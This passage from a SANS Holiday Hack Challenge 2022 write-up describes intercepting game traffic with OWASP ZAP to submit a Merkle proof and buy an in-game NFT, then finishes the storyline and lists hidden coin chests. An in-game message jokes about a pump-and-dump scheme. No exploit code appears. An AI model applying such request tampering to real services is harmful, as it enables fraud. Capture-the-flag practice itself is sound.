0x0f1859b20c631beeedaae52fee2404ce14f333209d62f94d3034b298fd91a860 Root: 0x0c084f3eb0b281bc120cc033c63cbca3f88d6933a07210e33c842c0b4512b03f ```` I used OWASP ZAP to intercept the client-to-server comms. and it worked! ![](images/sans_hhq_2022/nft_6.JPG) ...and if we try with the "validate" box uncheck...! ![](images/sans_hhq_2022/nft_7.JPG) Oh crap yeah we actually need to pay for it! ... and after we actually send the funds we get... ![](images/sans_hhq_2022/nft_8.JPG) ```` Success! You are now the proud owner of BSRS Token #000366. You can find more information at https://boredsporcrowboatsociety.com/TOKENS/BSRS366, or check it out in the gallery! Transaction: 0xfb10e76fac02afbd74540f192fb72555ebe99024e8f1258d4298108594b4ecbb, Block: 87595 Remember: Just like we planned, tell everyone you know to BUY A BoredSporc. When general sales start, and the humans start buying them up, the prices will skyrocket, and we all sell at once! The market will tank, but we'll all be rich!!! ```` and here is our lovely sporc (plz no steal): ![](images/sans_hhq_2022/BSRS366.png) and with that, Christmas is saved! ![](images/sans_hhq_2022/rings_complete.jpg) ## Christmas is saved Grinchum meets us on the upper floor of the Burning Ring of Fire room. He asks us to meet him by "the human castle". Maybe the castle is open again? Oh why yes it is! ![](images/sans_hhq_2022/castle.jpg) and this completes the narritive: ![](images/sans_hhq_2022/story_complete.jpg) All done! # Chests Back in 2016 you could find coins around the place. I love these treasure hunts. The following are the chests I found and the contents of the chests. I don't know if the number of coins is the same for everyone. - Ladders: - A chest containing 27 KringleCoins and a hint for the "Blockchain Divination Objective" can be found at ladders decending to the Tolkien Ring area. To access this chest you need to move left into the wall as you decend the ladder to the right of the visible chest. A short maze needs to be traversed to get to the chest. - Hall of Talks: A chest containing 13 KringleCoins and a hint for the "Blockchain Divination Objective" can be found at the leftmost side of the KringleCon Hall of Talks area. - Upon exiting the Elfen Ring area, you can move downward using a rope that leads to the level of the Web Ring. About 75% of the way up you can move to the left and gain access to a chest. This contains 25 coins and a hint for the smart contract objective. - In the Cloud Ring area - go to the bottom of the leftmost ladder. You can continue left through the wall and then up to another chest to get to a chest containing 10 KringleCoins. - Outside The Burning Ring Of Fire - at the bottom of the ladder you can walk into the wall on your right. This maze is strange. In the chest you'll find 20 KringleCoins and a Speicial Hat!